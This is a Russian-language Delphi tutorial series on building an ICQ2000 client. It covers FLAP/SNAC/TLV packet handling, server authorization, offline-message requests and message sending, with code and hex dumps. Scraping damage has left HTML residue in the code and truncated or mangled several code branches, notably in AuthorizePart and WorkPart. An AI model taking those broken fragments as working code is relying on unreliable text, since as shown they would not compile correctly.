// сколько байт читать уже известно: NeedBytes
         Bytes := NeedBytes;
// читаем их в FLAP_DATA[Index]
         fact := Socket.ReceiveBuf(FLAP_DATA[index],Bytes);
// если в Sockete было данных меньше чем нужно, 
// педвинем Index и NeedBytes для следующего входа в обработчик
         inc(index,fact);
         dec(NeedBytes,fact);
         if NeedBytes = 0 then begin
// если весь блок данных FLAP-пакета уже в FLAP_DATA,
// тогда выделаем память для элемента списка FIFO (PFLAP_Item) 
           New(pFIFO);
// копируем заголовок
           pFIFO^.FLAP := FLAP;
           pFIFO^.Next := nil;
// выделяем память для блока данных и копируем его
           GetMem(pFIFO^.DATA,index);
           move(FLAP_DATA,PFIFO^.Data^,swap(FLAP.Len));
           
// добавляем указатель на PFLAP_Item в список
           CurrFIFO:=HeadFIFO;
           if HeadFIFO<>nil then begin
             while CurrFIFO<>nil do
               if CurrFIFO^.Next=nil then begin
                 CurrFIFO^.Next:=pFIFO;
                 break;
               end else CurrFIFO:=CurrFIFO^.Next;
           end else HeadFIFO:=pFIFO; 
// устанавливаем isHDR (в true) уже для прима заголовка
// последующих FLAP-пакетов 
           isHDR := true; 
         end;
     end;
end;

Дальнейшая обработка списка FIFO - это задача уже другой процедуры.

ICQ2000 сделай сам 4.

Статьи по Delphi (009)…
Автор: Alexander Vaga WEB-сайт: http://icq2000cc.hobi.ru
Познакомился интернетчик с девушкой, погуляли, он и спрашивает: - Как бы нам еще встретиться? Она ему на бумажке телефон написала и уехала. Он смотрит на бумажку: "На ICQ не похоже... На IP тоже..." Так и не состоялась любовь...

Итак, в обработчике события ClientSocket.onRead_Data из FLAP-пакетов формируется список FIFO. Обработку этого списка производит таймерная процедура MainT. Ее задача заключается в следующем:

взять из очереди FLAP-пакет (если очередь не пуста); сформировать из него временный объект (запись) типа PPack. (Для его обработки в модуле Packet находятся соответствующие функции и процедуры); направить его на вход одного из двух обработчиков; после обработки удалить временный объект. procedure TForm1.MainTTimer(Sender: TObject); var FindFIFO : PFLAP_Item; tmp : PPack; begin // закроем вход в таймер (реентерабельность нам не нужна) MainT.Enabled := false; // проверим не пуста ли очередь while HeadFIFO<>nil do begin // если есть ожидающие пакеты, то берем первый из них FindFIFO := HeadFIFO; // и корректируем очередь if HeadFIFO^.Next=nil then HeadFIFO := nil else HeadFIFO := HeadFIFO^.Next; // создаем временный Pak tmp := PacketNew; // переносим в него данные из пакета очереди // сначала FLAP-заголовок PacketAppend(tmp,@FindFIFO^.FLAP,sizeof(FLAP_HDR)); // затем блок данных PacketAppend(tmp,FindFIFO^.DATA,swap(FindFIFO^.FLAP.Len)); // освобождаем пакет, который из очереди FreeMem(FindFIFO^.DATA,swap(FindFIFO^.FLAP.Len)); Dispose(FindFIFO); // пропишем его дамп в файл ".log" debugFILE(tmp,'< '); <font color="#000080"><em>// если в данный момент мы соединены с сервером авторизации</еm></fоnt> <strong>if</strong> isAuth <strong>then</strong> <font color="#000080"><em>// то напавим пакет в обработчик AuthorizePart </em></font> AuthorizePart(tmp) <strong>else</strong> <font color="#000080"><em>// либо в основной обработчик</еm></fоnt> WorkPart(tmp); <font color="#000080"><em>// удалим временный Pak</em></font> PacketDelete(tmp); <strong>end</strong>; <font color="#000080"><em>// откроем вход в таймер</еm></fоnt> MainT.Enabled := true; <strong>end</strong>; </pre> </td></tr></table><br> <p> Вполне логично, что дальше надо рассмотреть работу процедуры AuthorizePart, т.к. самый первый FLAP-пакет попадет именно в нее. </p> <!-- end -->

ICQ2000 сделай сам 5.

Статьи по Delphi (009)…
Автор: Alexander Vaga WEB-сайт: http://icq2000cc.hobi.ru
Лежат двое влюбленных в постели, утомленные первым бурным соитием. Она: - Милый, а ты помнишь, когда мы с тобой познакомились? Он: - Погоди... ща отдышусь и пойду хистори в аське посмотрю.

Перед рассмотрением работы обработчика AuthorizePart надо немного поговорить и о протоколе.

Перед тем, как подключиться к ICQ-серверу и начать работать мы должны пройти авторизацию на Authorization Server. Его адрес - login.icq.com:5190.

Необходимо:

соединиться с Authorization Server; передать ему пакет с UINом и паролем; получить от него IP-адрес и порт основного сервера и Cookie (256 байт случайных данных). Cookie - это будет наш пропуск при последующем (после авторизации) коннекте к основному рабочему серверу; разьединиться с Authorization Server.

Именно к Authorization Server инициируется соединение в процедуре icq_Login.

Сервер отвечает нам маленьким пакетом:

FLAP
Command Start 2A
Channel ID 01
Sequence Number XX XX
Data Field Length 00 04
Data 00 00 00 01

В нем только лишь 00 00 00 01. Для нас - это сигнал начать передачу пакета с авторизационными данными (с UINом и паролем).

Сейчас уже пора разобраться и с форматом блока данных FLAP-пакета.

Можно сказать, что показанный выше пакет совсем не имеет никакой структуры: просто DWORD и все. В большинстве случаев в FLAP-пакете размещены данные, которые упакованы еще в один протокол: т.н. SNAC. В этом случае пакет данных выглядит так:

FLAP
Command Start 2A
Channel ID 02
Sequence Number word
Data Field Length word
SNAC
Family ID word
SubType ID word
Flags[0] byte
Flags[1] byte
Request ID dword
SNAC Data variable
SNAC SNAC - это обычное содержимое блока данных FLAP-пакета в основной рабочей фазе соединения. Т.е. SNАСи посылаются только через Сhаnnе1 ID = 2.

В любом FLAP-пакете может находиться только один пакет SNAC.

Прием (анализ) и передача SСАСов - это то основное, что предстоит делать, чтобы реализовать все функции ICQ-клиента. Будь то передача списка контактов, или изменение нашего статуса, или получение и передача сообщений, или запрос информации о любом клиенте, для любого запроса и ответа на него есть свой SNAC (FamilyID, SubTypeID). Из сказанного видно, что вся смысловая информация помещена в SNАСи. И UINы, и никнэймы, и и-мэйлы с хоумпэйджами. Конечно же они не просто так накиданы в SNАСи. Они там размещены в юнитах, которые называются TLV.

TLV TLV дословно означает - "Type, Length, Value" ("Тип, Длина, Значение"). Его структура такая:
TLV
(T)ype code word
(L)ength code word
(V)alue field variable length

В TLV упаковывается все, что используется в ICQ-протоколе: текстовые строки, байты, слова, двойные слова, другие массивы и т.д. и т.п.. На тип содеожимого TLV указывает Type code. Чаще всего TLV располагаются внутри SNАСов, но это не является обязательным условием. Они могут также напрямую использоваться в блоке данных FLAP-пакета. Именно напрямую (т.е. без использования SNАСов) TLV задействованы на этапе авторизации.

Этот механизм мы и рассмотрим именно сейчас, т.к. мы соединены уже с Authorization Server и получили от него добро в виде DWORD=00000001 на передачу нашего UINа и пароля.

procedure TForm1.AuthorizePart(p:PPack);
var ss : string;
    T : integer;
    tmp : PPack;
begin
     // позиционируемся на начало блока данных, пропустив заголовок
     PacketGoto(p,sizeof(FLAP_HDR));
     // если FLAP-данные содержат лишь 00000001,
     // то это самое начало сессии 
     if (swap(p^.Len)=4)and
        (swap(p^.SNAC.FamilyID)=0)and
        (swap(p^.SNAC.SubTypeID)=1) then begin
       M(Memo,' Auth Request (Login)');
     end else  
     // на это сервер ответит так:
     // его ответ содержит TLV(1) - т.е. наш UIN
     if (TLVReadStr(p,ss)=1)and(ss=s(UIN))then begin
        // если это так, то считаем следующий TLV
        T := TLVReadStr(p,ss);
        case T of
          // если это TLV(5) - значит это адрес и порт основного сервера
          5: g>begin // BOS-IP:PORT
            M(Memo,'// и коннектимся к нему
              CLI.Open;
{ ******************************************* }
{ в этом месте заканчивается этап авторизации }
{ ******************************************* }
            end;
          end;
          // а, например, в случае неверного UINа или пароля
          // мы получим TLV(4) и TLV(8)
          4,8: begin
               M(Memo,'end;
        end;
     end;
end;

После успешного прохождения авторизации, мы подключаемся к основному рабочему серверу ICQ. Т.к. флажек isAuth уже сброшен, то диспетчер MainTTimer все пакеты будет направлять на обработчик WorkPart. Его построение во многом схоже с только, что рассмотренным обработчиком AuthorizePart.

В таком случае продолжим...

ICQ2000 сделай сам 6.

Статьи по Delphi (009)…
Автор: Alexander Vaga WEB-сайт: http://icq2000cc.hobi.ru
Приходит програмист с работы, а на него жена набрасывается с кулаками: - Негодяй! Я столько лет тебя кормила, поила, ублажала, а ты, паразит, мне изменяешь! - ??? - Не прикидывайся! Звонил Витька, спрашивал адрес твоей Аськи!

Обработчик WorkPart выполняет всю диспетчерскую работу на протяжении всего времени, когда мы подключены к основному ICQ-серверу. Устроен он очень просто.

procedure TForm1.WorkPart(p:PPack);
var ss,ss2,sErr : string;
    tmp : PPack;
begin
     { иногда бывает: сервер прервал соединение.
        такая ситуация возникала только в одном случае:
        сервером зафиксирован логин с нашим UINом с другого компьютера. }
     if p^.FLAP.ChID = 4 then begin 
       PacketGoto(p,sizeof(FLAP_HDR));
       // Код ошибки
       TLVReadStr(p,ss); M(Memo,ss);
       // Описание ошибки
       TLVReadStr(p,ss2); M(Memo,ss2);
       // Разьединяемся
       OfflineDiscconnect1Click(self);
       sErr:='Str1: '+Dim2Hex(@(ss[1]),length(ss));
       sErr:=sErr+#13#10+'Str2: '+ss2+#13#10+#13#10;
       ShowMessage('Another Computer Use YOUR UIN!'#13#10+#13#10+
                   sErr+'...i gonna to disconnect');
       // Выходим из обработчика
       exit;
     end;
     {}
     {  Основная секция  }
     // позиционируемся на данные
     PacketGoto(p,sizeof(FLAP_HDR)+sizeof(SNAC_HDR));
     // BOS Connection ACK (DWORD 00000001)
     // т.е. основной сервер готов с нами общаться
     if (swap(p^.Len)=4)and
        (swap(p^.SNAC.FamilyID)=0)and
        (swap(p^.SNAC.SubTypeID)=1) then begin
        M(Memo,' Sign-ON (COOKIE)');
     end else  // 
     if (swap(p^.SNAC.FamilyID)=1)and
        (swap(p^.SNAC.SubTypeID)=3) then begin
        M(Memo,'> "I`m ICQ client, not AIM"');
     end else // ACK to "I`m ICQ Client"
     if (swap(p^.SNAC.FamilyID)=$1)and // ACK
        (swap(p^.SNAC.SubTypeID)=$18) then begin
        M(Memo,' ACK to Rate Response');
       // Request Personal Info
       tmp := CreatePacket(2,SEQ);
       SNACAppend(tmp,$1,$0E);
       PacketSend(tmp);
       M(Memo,'> Request Personal Info');
       // Request Rights for Location service
       tmp := CreatePacket(2,SEQ);
       SNACAppend(tmp,$2,$02);
       PacketSend(tmp);
       M(Memo,'> Request Rights for Location service');
       // Request Rights for Buddy List
       tmp := CreatePacket(2,SEQ);
       SNACAppend(tmp,$3,$02);
       PacketSend(tmp);
       M(Memo,'> Request Rights for Buddy List');
       // Request Rights for ICMB
       tmp := CreatePacket(2,SEQ);
       SNACAppend(tmp,$4,$04);
       PacketSend(tmp);
       M(Memo,'> Request Rights for ICMB');
       // Request BOS Rights
       tmp := CreatePacket(2,SEQ);
       SNACAppend(tmp,$9,$02);
       PacketSend(tmp);
       M(Memo,'> Request BOS Rights');
     end else  // Personal Information
     if (swap(p^.SNAC.FamilyID)=$1)and
        (swap(p^.SNAC.SubTypeID)=$F) then begin
        M(Memo,' Set ICMB parameters');
       // Set User Info (capability)
       tmp := CreatePacket(2,SEQ);
       SNACAppend(tmp,$2,$4);      // tlv(5)=capability
       TLVAppendStr(tmp,5,#$09#$46#$13#$49#$4C#$7F#$11#$D1+
                          #$82#$22#$44#$45#$53#$54#$00#$00+
                          #$09#$46#$13#$44#$4C#$7F#$11#$D1+
                          #$82#$22#$44#$45#$53#$54#$00#$00);
       PacketSend(tmp);
       M(Memo,'> Set User Info (capability)');
       // Send Contact List
       tmp := CreatePacket(2,SEQ);
       SNACAppend(tmp,$3,$4);
       // пока включаем только свой UIN
       PacketAppendB_String(tmp,s(UIN));
    // PacketAppendB_String(tmp,s(UIN_1));   
    // PacketAppendB_String(tmp,s(UIN_2));   
    // ...
    // PacketAppendB_String(tmp,s(UIN_n));   
    // Можно включить любой UIN, ... даже если он и не хочет :)   
       PacketSend(tmp);
       M(Memo,'> Send Contact List (1)');
       // если  мы начинаем с режима Invisible, то передаем
       // Visible List, во всех других режимах - Invisible List
       case ICQStatus of
       STATE_INVISIBLE: begin
           // Send Visible List
           tmp := CreatePacket(2,SEQ);
           SNACAppend(tmp,$9,$5);
           // пока список пуст (кого включать решать вам)
           PacketSend(tmp);
           M(Memo,'> Send Visible List (0)');
         end;
         else begin
           // Send Invisible List
           tmp := CreatePacket(2,SEQ);
           SNACAppend(tmp,$9,$7);
           // пока список пуст (кого включать решать вам)
           PacketSend(tmp);
           M(Memo,'> Send Invisible List (0)');
         end;
       end; // case
       ConnectMode(true);
       SetStatus(ICQStatus);
       M(Memo,'> Set Status Code');
       // Client Ready
       tmp := CreatePacket(2,SEQ);
       SNACAppend(tmp,$1,$2);
       PacketAppend32(tmp,dswap($00010003));
       PacketAppend32(tmp,dswap($0110028A));
       PacketAppend32(tmp,dswap($00020001));
       PacketAppend32(tmp,dswap($0101028A));
       PacketAppend32(tmp,dswap($00030001));
       PacketAppend32(tmp,dswap($0110028A));
       PacketAppend32(tmp,dswap($00150001));
       PacketAppend32(tmp,dswap($0110028A));
       PacketAppend32(tmp,dswap($00040001));
       PacketAppend32(tmp,dswap($0110028A));
       PacketAppend32(tmp,dswap($00060001));
       PacketAppend32(tmp,dswap($0110028A));
       PacketAppend32(tmp,dswap($00090001));
       PacketAppend32(tmp,dswap($0110028A));
       PacketAppend32(tmp,dswap($000A0003));
       PacketAppend32(tmp,dswap($0110028A));
       PacketSend(tmp);
       M(Memo,'> Client Ready');

{
Здесь заканчивается утомительная процедура вхождения в связь
(согласования различных параметров с сервером.
Возможно, что в AOL Imstant Messenger такая процедура, что-то и значит,
но в ICQ-протоколе похоже, что ничего).
В этот момент считается, что мы уже в Online
и другие клиенты наш статус увидят.
}

       // А мы можем уже запрашивать у сервера полезную информацию,
       // например, надо запросить off-лайновые сообщения
       // Get offline messages
       tmp := CreatePacket(2,SEQ);
       SNACAppend(tmp,$15,$2);
       PacketAppend32(tmp,dswap($0001000A));
       PacketAppend16(tmp, swap($0800));
       PacketAppend32(tmp, UIN);
       PacketAppend16(tmp, swap($3C00));
       PacketAppend16(tmp, swap($0200));
       PacketSend(tmp);
       M(Memo,'> Get offline messages');
     end else  

{
здесь начинается секция обработки почти всех пакетов-ответов,
которые поступят во время, пока мы подключены к ICQ-серверу.
}

               // UIN ON-line
     if (swap(p^.SNAC.FamilyID)=$3)and
        (swap(p^.SNAC.SubTypeID)=$0B) then begin
        M(Memo,'');
        ShowUserONStatus(p);
        M(Memo,'');
     end else  // UIN OFF-line
     if (swap(p^.SNAC.FamilyID)=$3)and
        (swap(p^.SNAC.SubTypeID)=$0C) then begin
        M(Memo,'');
        M(Memo,'end else  // Reject notification
               // отказ сервера выдать статус этого UINа
               // (встречается очень редко)
     if (swap(p^.SNAC.FamilyID)=$3)and
        (swap(p^.SNAC.SubTypeID)=$0A) then begin
        M(Memo,'');
        M(Memo,'end else  // SNAC 15,3  
               // имеет много назначений:
               // - ответы с offlines messages
               // - ответы с UserInfo Results
               // - ответы с SearchUser Results
               // - и многое другое
     if (swap(p^.SNAC.FamilyID)=$15)and
        (swap(p^.SNAC.SubTypeID)=$3) then begin
        M(Memo,'');
        SNAC_15_3(p);
        M(Memo,'');
     end else  // SNAC 4,7  Входящие сообщения (всех типов)
     if (swap(p^.SNAC.FamilyID)=$4)and
        (swap(p^.SNAC.SubTypeID)=$7) then begin
        M(Memo,'');
        SNAC_4_7(p);
        M(Memo,'');
     end else begin  // и если, что-то еще не обрабатывается
        M(Memo,'');
        M(Memo,'???? Unrecognized SNAC: ????????');
        M(Memo,'???? SNAC [$'+inttohex(swap(p^.SNAC.FamilyID),2)+':$'+
                             inttohex(swap(p^.SNAC.SubTypeID),2)+']');
        M(Memo,'');
      end;
end;

Вы конечно же заметили, что я не очень подробно описывал структуру принимаемых и передаваемых SNAC-пакетов. Это огромнейшая тема. Лично я, при подготовке своих материалов черпал такую информацию на сайте:

Unofficial ICQv7/8 protocol documentation website,

В основном это информация из:

ICQv7 (personal) protocol notes, by Massimo Melina,

А также, (но в меньшей степени) из:

Unofficial AIM/Oscar protocol specification, by Adam Fritzler and Scott Werndorfer.

Чтобы картина работы приложения nICQ была более ясной, на следующей странице давайте рассмотрим ее на конкретном примере...

ICQ2000 сделай сам 7.

Статьи по Delphi (009)…
Автор: Alexander Vaga WEB-сайт: http://icq2000cc.hobi.ru
Надпись на могиле аськера: .

Для разбора конкретного примера возьмем ситуацию, когда мы запрашиваем у ICQ-сервера оффлайновые сообщения (т.е. те, которые накопились на сервере, пока нас не было в онлайне).

Запрос оффлайновых сообщений делаем с помощью SNAC(15,2), а ответ на него получим соответственно в SNAC(15,3). Оба этих SNACa имеют очень простой формат. Они содержат в себе только по одному TLV, а именно TLV(1). На первый взгляд все очень просто. Но... TLV(1), в свою очередь, имеет очень ветвистую структуру. (Такие особенности имеют и некоторые другие SNАСи, например, SNAC(4,6) для передачи и SNAC(4,7) для приема сообщений).

В заметках к протоколу ICQv7 от Massimo Melina есть описание SNAC(15,2). Этот SNAC используется во множестве различных запросов. Я лишь выделю те строки, которые будут включены в наш запрос, а именно:

заголовок самого SNAC(15,2); TLV(1), который включает в себя: длину, следующих далее данных, наш UIN, тип запроса ($3СО0), cookie (по которому мы узнаем ответный SNAC(15,3) ).

В описании это находится вот здесь:

SNAC 15,02
 TLV(1)
   WORD   (LE) bytes remaining, useless
   UIN    my uin
   WORD   type
   WORD   cookie
   type = 3C00       // ask for offlines messages
     nothing
   type = 3E00       // ack to offline messages,
     nothing   type=D007
     WORD  subtype
     subtype=9808  xml-stype in an LNTS
       LNTS  '' name of required data ''
     subtype=1F05       // simple query info
       UIN   user to request info     subtype=B204       // query info about user
       UIN   user to request info     subtype=D004       // query my info
       UIN   my uin
     ..............
     ..............
     ..............

В исходном коде это выглядит так:

// Get offline messages
// создаем FLAP-заголовок с Channel_ID=2 и SEQ++
tmp := CreatePacket(2,SEQ);
// добавляем SNAC-заголовок SNAC(15,2)
SNACAppend(tmp,$15,$2);
// добавляем TLV(1) ($0001-Type, $000A-Length)
PacketAppend32(tmp,dswap($0001000A));
// добавляем саму Value Для TLV(1)
PacketAppend16(tmp, swap($0800));// бесполезная длина
PacketAppend32(tmp, UIN);        // наш UIN
PacketAppend16(tmp, swap($3C00));// тип запроса
PacketAppend16(tmp, swap($0200));// cookie
PacketSend(tmp);
M(Memo,'> Get offline messages');

Этот кусок кода сгенерирует следующий дамп:

2A 02 36 86 00 18 00 15
00 02 00 00 00 87 00 02
00 01 00 0A 08 00 XX XX
XX XX 3C 00 02 00 

Разпишем его в табличном виде для лучшего восприятия:

FLAP SNAC (15, 02) TLV (1)
Command Start 2A
Channel ID 02
Sequence Number 36 86
Data Field Length 00 18
Family ID 00 15
SubType ID 00 02
Flags[0] 00
Flags[1] 00
Request ID 00 87 00 02
Type 00 01
Length 00 0A
Value 08 00
XX XX XX XX наш UIN
3C 00 запрос на оффлайновые сообщения
02 00 cookie

Передадим пакет и от сервера получим FLAP-пакет с таким дампом:

2A 02 74 6D 00 4D 00 15 
00 03 00 01 00 87 00 02 
00 01 00 3F 3D 00 XX XX 
XX XX 41 00 02 00 F8 5F 
F1 08 D2 07 02 0C 10 12 
01 00 25 00 EF F0 E8 E2 
E5 F2 0D 0A FD F2 EE 20 
F2 E5 F1 F2 EE E2 EE E5 
20 F1 EE EE E1 F9 E5 ED 
E8 E5 20 21 21 21 0D 0A 
00 00 00

И снова распишем его в таблицу:

FLAP SNAC (15, 03) TLV (1) тело сообщения
Command Start 2A
Channel ID 02
Sequence Number 74 6D
Data Field Length 4D 00
Family ID 00 15
SubType ID 00 03
Flags[0] 00
Flags[1] 01
Request ID 00 87 00 02 (такой же как и в запросе)
Type 00 01
Length 00 3F
Value 3D 00
XX XX XX XX наш UIN
41 00 тип: оффлайновое сообщение
02 00 cookie (как и в запросе)
XX XX XX XX его UIN
D2 07 год (2002)
02 месяц (февраль)
0C день (12)
10 час (16)
12 минуты (18)
01 под-тип сообщения (обычное)
00 флаги сообщения (?)
25 00 длина сообщения (37)
EF F0 E8 E2 E5 F2 0D 0A FD F2 EE 20 F2 E5 F1 F2 EE E2 EE E5 20 F1 EE EE E1 F9 E5 ED E8 E5 20 21 21 21 0D 0A 00 текст сообщения: "привет это тестовое сообщение !!!"
00 00 присутствют, если сообщение единственное

В протокольных заметках я выделю ту часть описания SNAC(15,3), которая соответствует таблице:

SNAC 15,03
TLV(1)
  WORD (LE) bytes remaining, useless
  UIN my uin
  WORD message-type
  WORD cookie
    message-type = 4100 // offline message
      UIN his uin
      WORD year (LE)
      BYTE month (1=jan)
      BYTE day
      BYTE hour (GMT time)
      BYTE minutes
      BYTE msg-subtype
      BYTE msg-flags
      LNTS msg
      WORD 0000, present only in single messages
    message-type = 4200 // end of offline messages
      BYTE unknown, usually 0
    message-type = D007
      2 BYTE unknown, usually 98 08
      WORD length of the following NTS
      NTS ""field-type""
      field-type = DataFilesIP
        6 BYTE unk, usually 2A 02 44 25 00 31
    message-type = DA07
      3 BYTE subtype
        subtype=A4010A // wp-full-request result
          wp-result-info
        ..............
        ..............
        ..............
        subtype=B4000A // ack to remove user
          empty
        subtype=AA000A // ack to change password
          empty

И "нарешти" - код для приема SNAC(15,3). Множественные комментарии, кажется тут уже излишни.

procedure TForm1.SNAC_15_3(p:PPack); var MessageType,Cookie : word; myUIN,hisUIN : longint; year,month,day,hour,minute,typemes,subtypemes,lenmes : word; tmp : PPack; begin // просто пролетаем над началом TLV(1) PacketRead32(p); PacketRead16(p); // а дальше имена переменных объясняют больше, чем комментарии myUIN := PacketRead32(p); MessageType := swap(PacketRead16(p)); Cookie := swap(PacketRead16(p)); M(Memo,'< Cookie: $'+inttohex(Cookie,4)); <strong>case</strong> MessageType <strong>of</strong> $4100: <strong>begin</strong> <font color="#000080"><em>// OFFLINE MESSAGE</em></font> hisUIN := PacketRead32(p); M(Memo,'< Message-Type: $'+inttohex(MessageType,4)); M(Memo,'< OFFLINE MESSAGE from UIN: '+s(hisUIN)); year := PacketRead16(p); month := PacketRead8(p); day := PacketRead8(p); hour := PacketRead8(p); minute := PacketRead8(p); typemes := PacketRead8(p); subtypemes := PacketRead8(p); lenmes := PacketRead16(p); DoMsg(false,typemes,lenmes,PCharArray(@(p^.data[p^.cursor])), hisUIN,UTC2LT(year,month,day,hour,minute)); <strong>end</strong>; <strong>end</strong>; <strong>end</strong>; </pre> </td></tr></table><br> <p> Тут можно на недельку передохнуть... </p> <p> В скором времени я добавлю такие модули: </p> <ul type=square> <li>передача сообщений (SendMess); </li> <li>прием сообщений (MessFrom); </li> <li>информация о пользователе (UserInfo); </li> <li>поиск пользователей по разным критериям (SearchUser); </li> </ul> <p> ...следите за обновлениями сайта </p> <!-- end -->

ICQ2000 сделай сам 8.

Статьи по Delphi (009)…
Автор: Alexander Vaga WEB-сайт: http://icq2000cc.hobi.ru
Приходит на ICQ сообщение: - Do you wanna chat? - I'm busy. - Hello, busy. I'm Abraham!...

Урок №2

Передача сообщений

Уверен, что у вас не возникло никаких проблем со скачиванием, с компиляцией, с "конфигурированием" первого проекта. Если вы вписывали в файл nICQ.ini свой пароль, то коннект был обеспечен.

Урок №2 содержит два новых модуля. SendMess и MessFrom. Каждый из них имеет свое окно. Это - передача и прием сообщений.

Чтобы полноценно передавать сообщения, необходим и такой объект в основном окне, как список контактов. Объект TTreeView напрашивается сам. Проще некуда. Тем более каждый элемент в нем может содержать указатель на связанные данные. TTreeView меня полностью устроил.

Сам список контактов будет хранится в файле .dat.

Т.к. сейчас рассматриваетя только урок №2, то и заполняться этот файл будет пока только вручную. При его заполнении вполне можно пренебречь процедурой авторизации.

[ContactList]
199111222=1st_User
199111333=2nd_User
199111444=3rd_User
345345234=Иван Иваныч
188888888=Вася Пупкин
и т.д. и т.п.

Вписывайте UINов столько, сколько нужно. Только не забудьте увеличить массив TContactList, если UINов планируете больше сотни:

type TContactList = array[0..100] of TListRecord;

И еще пару слов относительно интерфейса: те кому надоели зелененькие цветочки - могут нарисовать свои значки для контактного списка. Вitmары прилагаются.

Теперь о том как реально передаются сообщения.

Есть два типа передаваемых сообщений: Simple Message и Advanced Message.

Если UIN (для которого предназначено сообщение) находится в оффлайне - то ему шлется Simple Message. Advanced Message посылаются тем адресатам, (кажется ) если версия аськи у них не ниже ICQ2000. Из формата Advanced Message в уроке №2 используется лишь информация о Foreground Color и Background Color (это цвета раскраски текста). Использовал бы еще что-нибудь, так там больше ничего нет такого, что можно назвать advanced.

При передаче, сообщения пакуются в SNAC(4,06).

Начнем с более простого формата - Simple Message:

FLAP SNAC (4, 06) - Send Message (Simple) TLV (2) - сообщение здесь TLV (6) - пустой
Command Start 2A
Channel ID 02
Sequence Number 34 3B
Data Field Length 00 3D
Family ID 00 04
SubType ID 00 06
Flags[0] 00
Flags[1] 00
Request ID 00 AD 00 06
53 DE 53 75 Cookie 1
16 14 BB 50 Cookie 2
00 01 msg-format: Simple Message
09 длина его UINа почти как PascalStr
31 39 39 37 37 37 36 36 36 его UIN (например: '199777666')
T ype 00 02
L ength 00 17
V alue 05 01 00 01 01 01 01 (unk) ???
00 0E длина сообщения + 4
00 00 00 00 (unk) ???
D1 EE EE E1 F9 E5 ED E8 E5 21 'Сообщение!'
T ype 00 06
L ength 00 00

Продолжим более сложным форматом - Advanced Message. А он действительно по-сложнее будет.

FLAP SNAC (4, 06) - Send Message (Advanced) TLV (5) TLV (A) TLV (F) - пустой (???) TLV (2711) - сообщение здесь TLV (3) - пустой
Command Start 2A
Channel ID 02
Sequence Number 0C A3
Data Field Length 00 99
Family ID 00 04
SubType ID 00 06
Flags[0] 00
Flags[1] 00
Request ID 00 C3 00 06
1C D3 C4 B7 Cookie 1
23 4D 75 95 Cookie 2
00 02 msg-format: Advanced Message
09 длина его UINа почти как PascalStr
31 39 39 37 37 37 36 36 36 его UIN (например: '199777666')
T ype 00 05
L ength 00 73
V alue 00 00 00 00 - для посылки сообщения
1C D3 C4 B7 Cookie 1
23 4D 75 95 Cookie 1
09 46 13 49 4C 7F 11 D1 82 22 44 45 53 54 00 00 4 DWORD наши возможности ??? (capability)
T ype 00 0A
L ength 00 02
V alue 00 01 00 01 - для посылки сообщения
T ype 00 0F
L ength 00 00
T ype 27 11
L ength 00 4B
V alue 1B 00 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 00 00 00 26 байт (unk)
00
FF FF
0E 00
FF FF
00 00 00 00 00 00 00 00 00 00 00 00 12 байт (unk)
01 msg-subtype ( 01-обычное )
00
00 00
01 00
0E 00 длина сообщения тело сообщения
D1 EE EE E1 F9 E5 ED E8 E5 20 B9 32 2E (00) 'Сообщение №2.'
80 00 80 00 foreground color
FF FF 00 00 background color
T ype 00 03
L ength 00 00 TLV(3) посылается, как запрос подтверждения

Что касается кода, то мудровать с формированием TLV я не стал. Зато получилось дешево и сердито. Одним словом - это все работает.

unit SendMess;

procedure TMessageTo.SendButtonClick(Sender: TObject);
var sNN,sMess,sUIN : string;
    tmp : PPack;
    sTmp : string;
    d1,d2 : longint;
    buf : TByteArray;
    ind,indmem : word;
const capab : string{16}= #$09#$46#$13#$49#$4C#$7F#$11#$D1+
                          #$82#$22#$44#$45#$53#$54#$00#$00;
      blok : string{26} = #$1B#$00#$07#$00#$00#$00#$00#$00+
                          #$00#$00#$00#$00#$00#$00#$00#$00+
                          #$00#$00#$00#$00#$00#$00#$03#$00+
                          #$00#$00;
     x:word=0;
begin
     sNN := NNEd.Text;
     sUIN := ICQEd.Text;
     if SendMemo.Lines.Count = 0 then exit;
     sMess := SendMemo.Text;
     // создаем новый FLAP
     tmp := CreatePacket(2,SEQ);
     // добавляем SNAC(4,6)
     SNACAppend(tmp,$4,$6);
     // генерируем Cookie-1 и Cookie-2
     d1:=random($7FFFFFFF);
     d2:=random($7FFFFFFF);
     // запоминаем их: по ним мы узнаем АСКи от сервера и клиента
     SEQ1:=dswap(d1);
     SEQ2:=dswap(d2);
     PacketAppend32(tmp,dswap(d1));
     PacketAppend32(tmp,dswap(d2));
     // проверяем какой тип сообщения выбран     case MesFmtBox.Checked of
     true:
      begin
      // advanced message
      // 0002 - advanced
        PacketAppend16(tmp,swap($0002));
        // кому ?
        // дальше, вся последовательность формируется
        // в дополнительном буфере buf
        PacketAppendB_String(tmp,sUIN);
        // TLV(5) + его длина, которую впишем в конце
        ind:=0;fillchar(buf,sizeof(buf),'^');
        PLONG(@(buf[ind]))^:=dswap($0005FFFF);inc(ind,4);
        // Cookie-1 и Cookie-2
        PWORD(@(buf[ind]))^:=0;inc(ind,2);
        PLONG(@(buf[ind]))^:=dswap(d1);inc(ind,4);
        PLONG(@(buf[ind]))^:=dswap(d2);inc(ind,4);
        // Capability
        MOVE(capab[1],buf[ind],length(capab));inc(ind,length(capab));
        //TLV(A)=0001
        PLONG(@(buf[ind]))^:=dswap($000A0002);inc(ind,4);
        PWORD(@(buf[ind]))^:=swap($0001);inc(ind,2);
        //TLV(F)-пустой
        PLONG(@(buf[ind]))^:=dswap($000F0000);inc(ind,4);
        // TLV(2711) + его длина, которую впишем в конце
        PLONG(@(buf[ind]))^:=dswap($2711FFFF);inc(ind,4);
        indmem:=ind-2;
        // 16 байт
        MOVE(blok[1],buf[ind],length(blok));inc(ind,length(blok));
        PBYTE(@(buf[ind]))^:=0;inc(ind,1);
        PWORD(@(buf[ind]))^:=swap($FFFF);inc(ind,2);
        PWORD(@(buf[ind]))^:=swap($0E00);inc(ind,2);
        PWORD(@(buf[ind]))^:=swap($FFFF);inc(ind,2);
        // 12 байт = 0
        PLONG(@(buf[ind]))^:=$00000000;inc(ind,4);
        PLONG(@(buf[ind]))^:=$00000000;inc(ind,4);
        PLONG(@(buf[ind]))^:=$00000000;inc(ind,4);
        // под-Тип сообщения = 1 (обычное)
        PBYTE(@(buf[ind]))^:=1;inc(ind,1);
        PBYTE(@(buf[ind]))^:=0;inc(ind,1);
        PWORD(@(buf[ind]))^:=swap($0000);inc(ind,2);
        PWORD(@(buf[ind]))^:=swap($0100);inc(ind,2);
        // длина сообщения
        PWORD(@(buf[ind]))^:=length(sMess)+1;inc(ind,2);
        // сообщение
